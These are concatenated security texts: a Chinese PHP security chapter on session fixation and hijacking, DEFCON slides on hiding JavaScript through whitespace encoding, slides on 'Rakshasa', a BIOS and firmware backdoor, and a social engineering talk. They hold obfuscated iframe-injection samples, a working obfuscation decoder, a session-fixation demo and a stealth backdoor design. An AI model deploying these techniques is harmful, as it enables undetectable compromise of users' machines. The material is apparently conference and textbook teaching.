图 4-1 说明了这个基本的交互过程。 图 4-1. 两个 HTTP 事务间 Cookie 的完整交互过程 如果你根据这个基本概念在每一个请求中包含同一个唯一标识码(在 cookie 头部中),你就能唯一标识客户端从而把它发出的所有请求联系起来。这就是状 态所要求的,同时也是这一机制的主要应用。 小提示 迄今为止,最好的 cookies 使用指南依然是网景公司提供的规范,网址是: http://wp.netscape.com/newsref/std/cookie_spec.html 。它是最类似和接近于全行业 支持的标准。 基于会话管理的概念,可以通过管理每一个客户端的各自数据来管理状态。 数据被存储在会话存储区中,通过每一次请求进行更新。由于会话记录在存储时 有唯一的标识,因此它通常被称为会话标识。 如果你使用 PHP 内建的会话机制,所有的这些复杂过程都会由 PHP 为你处 理。当你调用函数 session_start()时,PHP 首先要确认在本次请求中是否包含会 话标识。如果有的话,PHP 就会读取该会话数据并通过$_SESSION 超级公用数 组提供给你。如果不存在,PHP 会生成一个会话标识并在会话存储区建立一个新 记录。PHP 还会处理会话标识的传递并在每一个请求时更新会话存储区。图 4-2 演示了这个过程。 虽然这很简便有效,但最重要的还是要意识到这并不是一个完整的解决方 案,因为在 PHP 的会话机制中没有内建的安全处理。除此之外,由于会话标识 是完全随机产生的,因此是不可预测的。你必须自行建立安全机制以防止所有其 它的会话攻击手段。在本章中,我会提出一些问题,并提供相应的解决方案。 4.1. Cookie 盗窃 盗窃 盗窃 盗窃 因使用 Cookie 而产生的一个风险是用户的 cookie 会被攻击者所盗窃。如果 会话标识保存在 cookie 中,cookie 的暴露就是一个严重的风险,因为它能导致会 话劫持。 图 4-2. PHP 为你处理相关会话管理的复杂过程 最常见的 cookie 暴露原因是浏览器漏洞和跨站脚本攻击(见第 2 章)。虽然 现在并没有已知的该类浏览器漏洞,但是以往出现过几例,其中最有名的一例同 时发生在 IE 浏览器的 4.0,5.0,5.5 及 6.0 版本(这些漏洞都有相应补丁提供)。 《PHP 安全基础详解》 www.528163.cn 提供 虽然浏览器漏洞的确不是 web 开发人员的错,但是你可以采取步骤以减轻 它对用户的威胁。在某些情况下,你可能通过使用一些安全措施有效地消除风险。 至少你可以告诉和指导用户打上修正漏洞的安全补丁。 基于以上原因,知道新的安全漏洞是很有必要的。你可以跟踪下面提供的几 个网站和邮件列表,同时有很多服务提供了 RSS 推送,因此只要订阅 RSS 即可 以得到新安全漏洞的警告。SecurityFocus 网站维护着一系列软件漏洞的列表 (http://online.securityfocus.com/vulnerabilities),你可以通过开发商、主题和版本 进行检索。PHP 安全协会也维护着 SecurityFocus 的所有最新通知。 (http://phpsec.org/projects/vulnerabilities/securityfocus.html) 跨站脚本攻击是攻击者盗窃 cookie 的更为常见的手段。其中之一已有第二 章中描述。由于客户端脚本能访问 cookies,攻击者所要的送是写一段传送数据 的脚本即可。唯一能限制这种情况发生的因素只有攻击者的创造力了。 防止 cookie 盗窃的手段是通过防止跨站脚本漏洞和检测导致 cookie 暴露的 浏览器漏洞相结合。由于后者非常少见(此类漏洞将来也会比较罕见),所以它 并不是需要关心的首要问题,但还是最好要紧记。 4.2. 会话数据暴露 会话数据暴露 会话数据暴露 会话数据暴露 会话数据常会包含一些个人信息和其它敏感数据。基于这个原因,会话数据 的暴露是被普遍关心的问题。一般来说,暴露的范围不会很大,因为会话数据是 保存在服务器环境中的,而不是在数据库或文件系统中。因此,会话数据自然不 会公开暴露。 使用 SSL 是一种特别有效的手段,它可以使数据在服务器和客户端之间传 送时暴露的可能性降到最低。这对于传送敏感数据的应用来说非常重要。SSL 在 HTTP 之上提供了一个保护层,以使所有在 HTTP 请求和应答中的数据都得到了 保护。 如果你关心的是会话数据保存区本身的安全,你可以对会话数据进行加密, 这样没有正确的密钥就无法读取它的内容。这在 PHP 中非常容易做到,你只要 使用 session_set_save_handler( )并写上你自己的 session 加密存储和解密读取的处 理函数即可。关于加密会话数据保存区的问题,参见附录 C。 4.3. 会话固定 会话固定 会话固定 会话固定 关于会话,需要关注的主要问题是会话标识的保密性问题。如果它是保密的, 就不会存在会话劫持的风险了。通过一个合法的会话标识,一个攻击者可以非常 成功地冒充成为你的某一个用户。 一个攻击者可以通过三种方法来取得合法的会话标识: l 猜测 l 捕获 《PHP 安全基础详解》 www.528163.cn 提供 l 固定 PHP 生成的是随机性很强的会话标识,所以被猜测的风险是不存在的。常见 的是通过捕获网络通信数据以得到会话标识。为了避免会话标识被捕获的风险, 可以使用 SSL,同时还要对浏览器漏洞及时修补。 小提示 要记住浏览器会根据请求中的 Set-cookie 头部中的要求对之后所有的请求中 都包含一个相应的 Cookie 头部。最常见的是,会话标识会无谓的在对一些嵌入 资源如图片的请求中被暴露。例如,请求一个包含 10 个图片的网页时,浏览器 会发出 11 个带有会话标识的请求,但只有一个是有必要带有标识的。为了防止 这种无谓的暴露,你可以考虑把所有的嵌入资源放在有另外一个域名的服务器 上。 会话固定是一种诱骗受害者使用攻击者指定的会话标识的攻击手段。这是攻 击者获取合法会话标识的最简单的方法。 在这个最简单的例子中,使用了一个链接进行会话固定攻击: Click Here 另外一个方法是使用一个协议级别的转向语句: header('Location: http://example.org/index.php?PHPSESSID=1234'); ?> 这也可以通过 Refresh 头部来进行,产生该头部的方法是通过真正的 HTTP 头部或 meta 标签的 http-equiv 属性指定。攻击者的目标是让用户访问包含有攻击 者指定的会话标识的 URL。这是一个基本的攻击的第一步,完整的攻击过程见 图 4-3 所示。 Figure 4-3. 使用攻击者指定的会话标识进行的会话固定攻击 如果成功了,攻击者就能绕过抓取或猜测合法会话标识的需要,这就使发起 更多和更危险的攻击成为可能。 为了更好地使你理解这一步骤,最好的办法是你自己尝试一下。首先建立一 个名为 fixation.php 的脚本: session_start(); $_SESSION['username'] = 'chris'; ?> 确认你没有保存着任何当前服务器的 cookies,或通过清除所有的 cookies 以 确保这一点。通过包含 PHPSESSID 的 URL 访问 fixation.php: http://example.org/fixation.php?PHPSESSID=1234 它建立了一个值为 chris 的会话变量 username。在检查会话存储区后发现 1234 成为了该数据的会话标识: $ cat /tmp/sess_1234username|s:5:"chris"; 建立第二段脚本 test.php,它在$_SESSION[‘username’] 存在的情况下即 输入出该值: session_start(); if (isset($_SESSION['username'])) { 《PHP 安全基础详解》 www.528163.cn 提供 echo $_SESSION['username']; } ?> 在另外一台计算机上或者在另一个浏览器中访问下面的 URL,同时该 URL 指定了相同的会话标识: http://example.org/test.php?PHPSESSID=1234 这使你可以在另一台计算机上或浏览器中(模仿攻击者所在位置)恢复前面 在 fixation.php 中建立的会话。这样,你就作为一个攻击者成功地劫持了一个会 话。 很明显,我们不希望这种情况发生。因为通过上面的方法,攻击者会提供一 个到你的应用的链接,只要通过这个链接对你的网站进行访问的用户都会使用攻 击者所指定的会话标识。 产生这个问题的一个原因是会话是由 URL 中的会话标识所建立的。当没有 指定会话标识时,PHP 就会自动产生一个。这就为攻击者大开了方便之门。幸运 的是,我们以可以使用 session_regenerate_id( )函数来防止这种情况的发生。 session_start(); if (!isset($_SESSION['initiated'])) { session_regenerate_id(); $_SESSION['initiated'] = TRUE; } ?> 这就保证了在会话初始化时能有一个全新的会话标识。可是,这并不是防止 会话固定攻击的有效解决方案。攻击者能简单地通过访问你的网站,确定 PHP 给出的会话标识,并且在会话固定攻击中使用该会话标识。这确实使攻击者没有 机会去指定一个简单的会话标识,如 1234,但攻击者依然可以通过检查 cookie 或 URL(依赖于标识的传递方式)得到 PHP 指定的会话标识。该流程如图 4-4 所示。 该图说明了会话的这个弱点,同时它可以帮助你理解该问题涉及的范围。会 话固定只是一个基础,攻击的目的是要取得一个能用来劫持会话的标识。这通常 用于这样的一个系统,在这个系统中,攻击者能合法取得较低的权限(该权限级 别只要能登录即可),这样劫持一个具有较高权限的会话是非常有用的。 如果会话标识在权限等级有改变时重新生成,就可以在事实上避开会话固定 的风险: $_SESSION['logged_in'] = FALSE; if (check_login()){ session_regenerate_id(); $_SESSION['logged_in'] = TRUE; } ?> Figure 4-4. 通过首先初始化会话进行会话固定攻击 《PHP 安全基础详解》 www.528163.cn 提供 小提示 我不推荐在每一页上重新生成会话标识。虽然这看起来确实是一个安全的方 法。但与在权限等级变化时重新生成会话标识相比,并没有提供更多的保护手段。 更重要的是,相反地它还会对你的合法用户产生影响,特别是会话标识通过 URL 传递时尤甚。用户可能会使用浏览器的访问历史机制去访问以前访问的页面,这 样该页上的链接就会指向一个不再存在的会话标识。 如果你只在权限等级变化时重新生成会话标识,同样的情况也有可以发生, 但是用户在访问权限变更前的页面时,不会因为会话丢失而奇怪,同时,这种情 况也不常见。 4.4. 会话劫持 会话劫持 会话劫持 会话劫持 最常见的针对会话的攻击手段是会话劫持。它是所有攻击者可以用来访问其 它人的会话的手段的总称。所有这些手段的第一步都是取得一个合法的会话标识 来伪装成合法用户,因此保证会话标识不被泄露非常重要。前面几节中关于会话 暴露和固定的知识能帮助你保证会话标识只有服务器及合法用户才能知道。 深度防范原则(见第一章)可以用在会话上,当会话标识不幸被攻击者知道 的情况下,一些不起眼的安全措施也会提供一些保护。作为一个关心安全的开发 者,你的目标应该是使前述的伪装过程变得更复杂。记住无论多小的障碍,都会 以你的应用提供保护。 把伪装过程变得更复杂的关键是加强验证。会话标识是验证的首要方法,同 时你可以用其它数据来补充它。你可以用的所有数据只是在每个 HTTP 请求中的 数据: GET / HTTP/1.1Host: example.orgUser-Agent: Firefox/1.0Accept: text/html, image/png, image/jpeg, image/gif, */* Cookie: PHPSESSID=1234 你应该意识到请求的一致性,并把不一致的行为认为是可疑行为。例如,虽 然 User-Agent(发出本请求的浏览器类型)头部是可选的,但是只要是发出该头部 的浏览器通常都不会变化它的值。如果你一个拥有 1234 的会话标识的用户在登 录后一直用 Mozilla Firfox 浏览器,突然转换成了 IE,这就比较可疑了。例如, 此时你可以用要求输入密码方式来减轻风险,同时在误报时,这也对合法用户产 生的冲击也比较小。你可以用下面的代码来检测 User-Agent 的一致性: session_start(); if (isset($_SESSION['HTTP_USER_AGENT'])) { if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) { /* Prompt for password */ exit; } } 《PHP 安全基础详解》 www.528163.cn 提供 else { $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); } ?> 我观察过,在某些版本的 IE 浏览器中,用户正常访问一个网页和刷新一个 网页时发出的 Accept 头部信息不同,因此 Accept 头部不能用来判断一致性。 确保 User-Agent 头部信息一致的确是有效的,但如果会话标识通过 cookie 传递(推荐方式),有道理认为,如果攻击者能取得会话标识,他同时也能取得 其它 HTTP 头部。由于 cookie 暴露与浏览器漏洞或跨站脚本漏洞相关,受害者 需要访问攻击者的网站并暴露所有头部信息。所有攻击者要做的只是重建头部以 防止任何对头部信息一致性的检查。 比较好的方法是产生在 URL 中传递一个标记,可以认为这是第二种验证的 形式(虽然更弱)。使用这个方法需要进行一些编程工作,PHP 中没有相应的功 能。例如,假设标记保存在$token 中,你需要把它包含在所有你的应用的内部链 接中: $url = array(); $html = array(); $url['token'] = rawurlencode($token); $html['token'] = htmlentities($url['token'], ENT_QUOTES, 'UTF-8'); ?> Click Here 为了更方便地管理这个传递过程,你可能会把整个请求串放在一 个变量中。你可以把这个变量附加到所有链接后面,这样即便你一开始没有使用 该技巧,今后还是可以很方便地对你的代码作出变化。 该标记需要包含不可预测的内容,即便是在攻击者知道了受害者浏览器发出 的 HTTP 头部的全部信息也不行。一种方法是生成一个随机串作为标记: $string = $_SERVER['HTTP_USER_AGENT']; $string .= 'SHIFLETT'; $token = md5($string); $_SESSION['token'] = $token; ?> 当你使用随机串时(如 SHIFLETT),对它进行预测是不现实的。此时,捕 获标记将比预测标记更为方便,通过在 URL 中传递标记和在 cookie 中传递会话 标识,攻击时需要同时抓取它们二者。这样除非攻击者能够察看受害者发往你的 应用所有的 HTTP 请求原始信息才可以,因为在这种情况下所有内容都暴露了。 这种攻击方式实现起来非常困难(所以很罕见),要防止它需要使用 SSL。 有专家警告不要依赖于检查 User-Agent 的一致性。这是因为服务器群集中 的 HTTP 代理服务器会对 User-Agent 进行编辑,而本群集中的多个代理服务器 在编辑该值时可能会不一致。 如果你不希望依赖于检查 User-Agent 的一致性。你可以生成一个随机的标 记: $token = md5(uniqid(rand(), TRUE)); 《PHP 安全基础详解》 www.528163.cn 提供 $_SESSION['token'] = $token; ?> 这一方法的安全性虽然是弱一些,但它更可靠。上面的两个方法都对防止会 话劫持提供了强有力的手段。你需要做的是在安全性和可靠性之间作出平衡。
pdf
WhiteSpace: A Different Approach to JavaScript Obfuscation DEFCON 16 August, 2008 Kolisar 1 Introduction • What led to WhiteSpace? 2 Agenda • What is “WhiteSpace”? • A Brief Survey of Current JavaScript Obfuscation Methods • The Telltale Indicators of Obfuscation • The Components of this Approach • Demo 3 What is “WhiteSpace”? • A different approach to JavaScript obfuscation • Hides the usual, telltale indicators of obfuscation • Not detectable by standard “Obfuscated JavaScript” detection methods (automatic and manual) 4 JavaScript Obfuscation Methods • What is usually encoded • Exploit code • Hidden iFrames 5 JavaScript Obfuscation Methods (cont.) • Escaped ASCII/Unicode Values eval(unescape ('%77%69%6e%64%6f%77%2e %73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f ... %35%35%20%68%65%69%67%68%74%3d %35%31%31%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c %61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f %69%66%72%61%6d%65%3e%27%29') ); document.write('\u003c\u0069\u0066\u0072\u0061\u006d \u0065\u0020\u0073\u0072\u0063\u003d \u0027\u0068\u0074\u0074\u0070 ... \u0065\u006e\u003b\u0027\u003e\u003c\u002f \u0069\u0066\u0072\u0061\u006d\u0065\u003e') 6 JavaScript Obfuscation Methods (cont.) • XOR (ASCII values) function xor_str(plain_str, xor_key){ var xored_str = ""; for (var i = 0 ; i < plain_str.length; ++i) xored_str += String.fromCharCode(xor_key ^ plain_str.charCodeAt(i)); return xored_str; } function asd(a,b){}; function qwe(c,i){};var plain_str = "\x8d\xa0\xa7\xa0\xa7\xa0\xa7\xdb\xcc\xdf \x8d\xc0\xc0\x8d\x90\x8d\xc3\xc8\xda\x8d\xec\xdf\xdf \xcc\xd4\x85\x84\x96\xa0\xa7\xdb\xcc\xdf\x8d \xc0\xc8\xc0\xf2\xcb\xc1\xcc\xca\x8d\x90\x8d\x9d\x96 ... 85\x84\x96\xa0\xa7"; var xored_str = xor_str(plain_str, 173); eval(xored_str); 7 JavaScript Obfuscation Methods (cont.) • XOR (Character Encoding) str = "ru`su)(:^L^Kgtobuhno!ru`su)(!z^L^Kw`s!fgg!<! enbtldou/bsd`udDmdldou)&nckdbu&(:^L^Kfgg rdu@uushctud)&he&-&fgg&(:^L^Kfgg/ rdu@uushctud)&bm`rrhe&&bm&*&rh&*#e;CE#*#87B4#*&47,74@ ... ubi)d(z||";str2 = "";for (i = 0; i < str.length; i + +) { str2 = str2 + String.fromCharCode (str.charCodeAt (i) ^ 1); }; eval(str2); 8 JavaScript Obfuscation Methods (cont.) • String Splitting le=”rame>”; ok=”docume”; uk=”eight=0></if”; aj=”t.write(”; em=”dth=0 h”; cg=”<ifram”; nr=”e src=/x.htm wi”; eval(ok+aj+cg+nr+em+uk+le); 9 JavaScript Obfuscation Methods (cont.) • Simple Encryption function decrypt_p(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,53,56, 3,9,35,38,14,13, ... ,50,60,7,22,44,19,28);for(j=Math.ceil(l/b);j>0;j--) {r='';for(i=Math.min(l,b);i>0;i--,l--){w| =(t[x.charCodeAt(p++)-48])<<s;if(s){r +=String.fromCharCode(165^w&255);w>>=8;s- =2}else{s=6}}document.write(r)}} decrypt_p(“S6dXf5aGSk8t49x1_t72lgGPdk72OvU6EUK6fWauC3 ... Ayu1N5xBEUK6qKDfsWz1V94J96CgBPa2u94J96CgDvnGC94J9I”); 10 JavaScript Obfuscation Methods (cont.) • Non-encryption based Obfuscation • Using Non-obvious Variable and Function Names function v47d9df3cf15f9(v47d9df3cf1ddf){ function v47d9df3cf25b0 () {return 16;} ... { function v47d9df3d01281 () {var v47d9df3d01a56=2; return v47d9df3d01a56;} var v47d9df3d002d9='';for(v47d9df3d00aac=0; v47d9df3d00aac<v47d9df3cf3d44.length; v47d9df3d00aac +=v47d9df3d01281()) .... 11 Telltale Indicators • eval( ) • unescape( ) • document.write( ) • Large blocks of “meaningless text” • Escaped ASCII/Unicode values • Encrypted Text • etc. 12 Telltale Indicators (cont.) xor_str(plain_str, 173); eval(xored_str); eval(unescape ('%77%69%6e%64%6f%77%2e =2}else{s=6}}document.write(r)} str = "ru`su)(:^L^Kgtobuhno!ru`su)(!z^L^Kw`s!fgg!<! enbtldou/bsd`udDmdldou)&nckdbu&(:^L^Kfgg rdu@uushctud)&he&-&fgg&(:^L^Kfgg/ rdu@uushctud)&bm`rrhe&&bm&*&rh&*#e;CE#*#87B4#*&47,74@ 13 Components of this Approach • JavaScript Objects • Member Enumeration • WhiteSpace Encoding/Decoding • Limitations 14 JavaScript Objects • Start with “this” • References to methods 15 Member Enumeration • Don’t want to use “document.write”, too obvious • Locate by length and select characters h = this; for (i in h) { if(i.length == 8) { if(i.charCodeAt(0) == 100) { if(i.charCodeAt(7) == 116) { break; } } } } 16 Member Enumeration (cont.) • Use previous reference to get next “level” (in this case the “write” method from the “document” object) for (j in h[i]) { if(j.length == 5) { if(j.charCodeAt(0) == 119) { if(j.charCodeAt(1) == 114) { break; } } } } 17 Member Enumeration (cont.) • Continue this method to create a reference to “getElementById” and “innerHTML” for (k in h[i]) { if(k.length == 14) { if(k.charCodeAt(0) == 103) { if(k.charCodeAt(3) == 69) { break; } } } } 18 Member Enumeration (cont.) • Continue this method to create a reference to “innerHTML” for (l in r) { if(l.length == 9) { if(l.charCodeAt(0) == 105) { if(l.charCodeAt(5) == 72) { break; } } } } 19 WhiteSpace Encoding/Decoding • Binary Encoded ASCII Values using WhiteSpace • Tab = 0 • Space = 1 • Read from end of lines (PoC had variables indicating #chars/line and #lines containing encoded data) 20 WhiteSpace Decoding (cont.) • Get the section of HTML with the Encoded text (desired section has id=’p’) r=h[i][k]('p'); // this.document.getElementById(‘p’) 21 WhiteSpace Decoding (cont.) • Retrieve code with encoded data a=r[l]; // r = this.document.getElementById(‘p’), a=r.innerHTML b=a.split('\n'); 22 • Decode WhiteSpace o = ""; for(c=3; c < (e+3); c++) // e is number of lines with encoding { s=b[c]; // b = individual lines split from innerHTML call for(f=0; f < d; f++) // d is number of chars encoded/line { y = ((s.length - (8*d)) + (f*8)); v = 0; for(x = 0; x < 8; x++) { if(s.charCodeAt(x+y) > 9) { v++; } if(x != 7) { v = v << 1; } } o += String.fromCharCode(v); } } 23 WhiteSpace Decoding (cont.) The Final Call • h[i][j](o); //this.document.write(o); 24 Limitations • Decoding code must be included in infected webpage, this is JavaScript after all (there may be ways around this) 25 Demonstration 26 Thanks • 장인섭 (Insub Chang) • Gar Morley • JA 27 Questions? 28
pdf
Hardware Backdooring is practical Jonathan Brossard (Toucan System) DISCLAIMER  We are not « terrorists ». We won't release our PoC backdoor.  The x86 architecture is plagued by legacy. Governments know. The rest of the industry : not so much.  There is a need to discuss the problems in order to find solutions...  This is belived to be order of magnitudes better over existing backdoors/malware Agenda  Motivation : state level backdooring ?  Coreboot & x86 architecture  State of the art in rootkitting, romkitting  Introducing Rakshasa  Epic evil remote carnal pwnage (of death)  Why cryptography (Truecrypt/Bitlocker/TPM) won't save us...  Backdooring like a state Could a state (eg : China) backdoor all new computers on earth ? A bit of x86 architecture State of the art, previous work Previous work  Early 80s : Brain virus, targets the MBR  80s, 90s : thousands of such viruses  2007, John Heasman (NGS Software) Blackhat US: backdoor EFI bootloader  2009, Anibal Saco and Alfredo Ortega (Core security), CanSecWest : patch/flash a Pheonix-Award Bios  2009, Kleissner, Blackhat US : Stoned bootkit. Bootkit Windows, Truecrypt. Load arbitrary unsigned kernel module.  2010, Kumar and Kumar (HITB Malaysia) : vbootkit bootkitting of Windows 7.  Piotr Bania, Konboot : bootkit any Windows (32/64b)  2012 : Snare (Syscan) : EFI rootkitting DEMO : Bootkitting Windows Introducing Rakshasa Goals : create the perfect backdoor  Persistant  Stealth (virtually undetectable)  Portable (OS independant)  Remote access, remote updates  State level quality : plausible deniability, non attribution  Cross network perimeters (firewalls...)  Redundancy Rakshasa : design  Core components : Coreboot SeaBios iPXE payloads Built on top of free software : portability, non attribution, cheap dev (~4 weeks of work), really hard to detect (without false positives).  Payload : Reverse Engineered/Refactored konboot payload (2 days of work). Rakshasa  Flash the BIOS (Coreboot + PCI roms such as iPXE)  Flash the network card or any other PCI device (redundancy)  Boot a payload over the network (bootkit)  Boot a payload over wifi/wimax (breach the network perimeter, bypasses network detection, I(P|D)S )  Remotely reflash the BIOS/network card if necessary Rakshasa : embedded features  Remove NX bit (from BIOS or PCI) → executable heap/stack.  Remove CPU updates (microcodes)  Remove anti-SMM protections (=>local root) → Permantent lowering of the security level on any OS. Welcome back to the security level of 1999. → Persistant, even if HD is remove/restored. Optionally : Disable ASLR (bootkitting) by patching the seed in kernel land on the fly on Windows. Rakshasa : remote payload  Bootkit future OSes  Update/remove/reflash firmwares (PCI, BIOS)  Currently capable of Bootkitting any version of Windows (32b/64b)  Use a minimal linux initrd in case we want to mount/modify the filesystem (/etc/shadow on any UNIX like, add new account with ADMIN privileges on Windows, enable remote desktop – possibly enable dual remote desktop on Windows XP Pro by patching 2 dlls...) Rakshasa : stealthness  We don't touch the disk. 0 evidence on the filesystem.  We can remotely boot from an alternate payload or even OS : fake Truecrypt/Bitlocker prompt !  Optionally boot from a WIFI/WMAX stack : 0 network evidence on the LAN.  Fake BIOS menus if necessary. We use an embedded CMOS image. We can use the real CMOS nvram to store encryption keys/backdoor states between reboots. Rakshasa : why using Coreboot/SeaBios/iPXE is the good approach  Portability : benefit from all the gory reverse engineering work already done !  Awesome modularity : embbed existing payloads (as floppy or cdrom images) and PCI roms directly in the main Coreboot rom ! Eg : bruteforce bootloaders (Brossard, H2HC 2010), bootkits without modification.  Network stack : ip/udp/tcp, dns, http(s), tftp, ftp... make your own (tcp over dns? Over ntp ?) PCI rom from scratch (asm) section .text ;-------------------------- ; Bios expension ROM header ;-------------------------- db 0x55 ; Signature db 0xaa ; Signature db 17 ; number of sectors _start: DEMO : Evil remote carnal pwnage (of death) I can write blogs too... Muhahahaha... DEMO : Evil remote carnal pwnage (of death) I can write blogs too... Muhahahaha... How to properly build a botnet ?  HTTPS + assymetric cryptography (client side certificates, signed updates)  Fastflux and/or precomputed IP addresses If Microsoft can do secure remote updates, so can a malware !  Avoid DNS take overs by law enforcement agencies by directing the C&C rotatively on innocent web sites (are you gonna shut down Google.com?), use assymetric crypto to push updates. Why crypto won't save you... Why crypto won't save you...  We can fake the bootking/password prompt by booting a remote OS (Truecrypt/Bitlocker)  Once we know the password, the BIOS backdoor can emulate keyboard typing in 16b real mode by programming the keyboard/motherboard PIC microcontrolers (Brossard, Defcon 2008)  If necessary, patch back original BIOS/firmwares remotely. DEMOS How about Avs ??  Putting an AV on a server to protect against unknown threats is purely cosmetic.  You may as well put lipstick on your servers... Example : 3 years old bootkit Example : 3 years old bootkit (+ simple packer) Realistic attack scenarii Realistic attack scenarii  Physical access : Anybody in the supply chain can backdoor your hardware. Period. Flash from a bootable USB stick (< 3mins).  Remote root compromise : If (OS == Linux) { flash_bios; } else { Pivot_over_the_MBR ; } Realistic attack scenarii  Purchase pre-backdoored hardware BONUS : Backdooring the datacenter Remediation Remediation (leads)  Flash any firmware uppon reception of new hardware with open source software  Perform checksums of all firmwares by physically extracting them (FPGA..) : costly !  Verify the integrity of all firmwares from time to time  Update forensics best practices : 1) Include firmwares in SoW 2) Throw away your computer in case of intrusion Even then... not entirely satisfying : the backdoor can flash the original firmwares back remotely. Side note on remote flashing  BIOS flashing isn't a problem : the flasher (Linux based) is universal.  PCI roms flashing is (a bit of) a problem : vendor dependant... Detecting network card manufacturer from the remote C&C  IPXE allows scripting. Eg : sending the MAC address as an URL parameter.  From the MAC, get the OUI number serverside.  From the OUI number, deduce manufacturer  Send the proper flashing tool as an embedded OS to the backdoor... Backdooring like NSA China Backdooring like a state Rule #1 : non attribution - you didn't write the free software in first place. - add a few misleading strings, eg : in mandarin ;) Rule #2 : plausible deniability - use a bootstrap known remote vulnerability in a network card firmware (eg : Duflot's CVE-2010-0104) → « honest mistake » if discovered. - remotely flash the BIOS. - do your evil thing. - restore the BIOS remotely. Questions ?
pdf
Steal Everything, Kill Everyone, Cause Total Financial Ruin! (or how I walked in & Misbehaved!) Jayson E. Street, C|EH, CISSP, GSEC, GCIH, C|IH, IEM, IAM, ETC… Let go of my EGO Who Am I? @jaysonstreet Let go of my EGO Who Am I? @jaysonstreet Hacker/Social Engineer INFOSEC talk = slide like this ;-) •  Sun Wu (Tzu) “Ping-fa”(The Art of War) •  “…deception. Hence, ……” Contents •  INTRO •  1. Fact •  2. Rules •  3. Outcomes •  Outcome 1. •  Outcome 2. •  Outcome 3. •  Conclusions and or Discussions 1. FACT = I’m getting in . and ! 1. FACT = I’m getting in . and ! 1 3 5 1. Steal Everything 2. Rules = “I aim to misbehave.” “Let’s go be bad guys.” 3. Outcomes = I’m this guy http://allstate.com 3. Outcomes = Also proper credit is due my Sensei http://www.lares.com/ Management is reactive not Proactive •  “The best way to get management excited about a disaster plan is to burn down the building across the street.” •  Dan Erwin, Security Officer, Dow Chemical Co. -2008 1. Steal Everything 1. Steal Everything 1. Steal Everything 1. Steal Everything 1. Steal Everything 1. Steal Everything 1. Steal Everything 1. Steal Everything 1. Steal Everything 1. Steal Everything Countermeasures of theft 1. Lock your desk and door when ever you leave (even for a short time). Do not leave your wallet, purse, credit cards, cash, checkbook, or other valuables in the open. 2. Never prop open exterior doors. If you see a door propped, close it. 3. Never allow people you do not know to “tailgate” behind you into the building! Every person who is authorized to be in your building should have either card access or a key. Politely tell them that you cannot allow them in and that they need to contact security 4. Never loan your Company ID card to anyone. If you misplace it, report it to security immediately. 5. Never leave your laptop computer, cell-phone, book bag, purse or other valuables unattended. 6. If you see a suspicious person or someone you don’t believe should be in or around the building call Security or the police immediately. http://www.usiouxfalls.edu/index.php?option=com_content&task=view&id=366 2. Kill Everyone 2. Kill Everyone 2. Kill Everyone 2. Kill Everyone 2. Kill Everyone 2. Kill Everyone And just to bring it home… 2. Kill Everyone Countermeasures for violence in the workplace 1. Train management and employees to recognize the warning signs of potential workplace violence. 2. When faced with a threat, hire extra security and provide employees with sufficient warning and instructions. 3. Make certain that all employees/victims know that reporting workplace violence, harassment, and/or threats will not affect their job status. 4. Set up a code word that receptionists can use to alert a coworker if a potentially dangerous individual arrives at the reception area. 5. Conduct regular training sessions to teach managers and supervisors how to recognize the warning signs of violence and minimize potentially violent situations in the workplace. 6. Conduct routine safety checks and maintenance of features in and around the workplace, including emergency exits, alarms, security lighting, surveillance cameras, and/or metal detectors. - http://workplaceviolencenews.com/2010/10/04/workplace-violence-prevention-tips-for-employers/ 3. Cause total Financial ruin 3. Cause total Financial ruin 3. Cause total Financial ruin 3. Cause total Financial ruin 3. Cause total Financial ruin 3. Cause total Financial ruin 3. Cause total Financial ruin 3. Cause total Financial ruin 3. Cause total Financial ruin 3. Cause total Financial ruin 3. Cause total Financial ruin 3. Cause total Financial ruin 3. Cause total Financial ruin 3. Cause total Financial ruin Available at geek/gadget website Being able to log the CEO’s Key Strokes 3. Cause total Financial ruin http://pwnieexpress.com/ Countermeasure for Corporate Espionage 1. Since a majority of information stolen is in the physical form, companies should shred all documents before they are discarded 2. Do not print sensitive company information unless it is absolutely necessary. Then immediately place the information in a secure envelope or place until it reaches the intended party. Information lying around on a desk may be easily copied, photographed, or stolen. 3. Secure all necessary printed documents in a locked file cabinet. Keep the cabinets locked when the cabinets are not in use. 4. Companies should invest in technology that prevents documents with sensitive company information from being copied. 5. Companies may set access controls within software indicating authorized parties that are allowed to print specific runs of specific documents. This will prevent individuals from carelessly printing materials which may expose the company to unnecessary risks. 6. Print encryption is another method to protect sensitive company information. When a document is printed, it hides sensitive information in the print fields where the encryption occurs. The information encrypted may only be viewed by individuals who possess the authority to view the information. http://www.businesssecurity.net/business-espionage/ Okay now what can we do? Okay now what can we do? •  Without understanding where the opponent's weaknesses are you cannot borrow their strength to use against them. (Cheng Man Ching) •  http://www.dissectingthehack.com •  http://f0rb1dd3n.com •  http://headhacker.net •  http://www.social-engineer.org/ •  http://netragard.com •  http://mjc.me •  http://pwnieexpress.com/ •  @jaysonstreet on Twitter Now let’s learn from others •  Discussion and Questions???? •  Or several minutes of uncomfortable silence it’s your choice. •  This concludes my presentation Thank You •  http://www.dissectingthehack.com •  http://f0rb1dd3n.com •  http://headhacker.net •  http://www.social-engineer.org/ •  http://netragard.com •  http://mjc.me •  http://pwnieexpress.com/ •  @jaysonstreet on Twitter Those Links Again
pdf
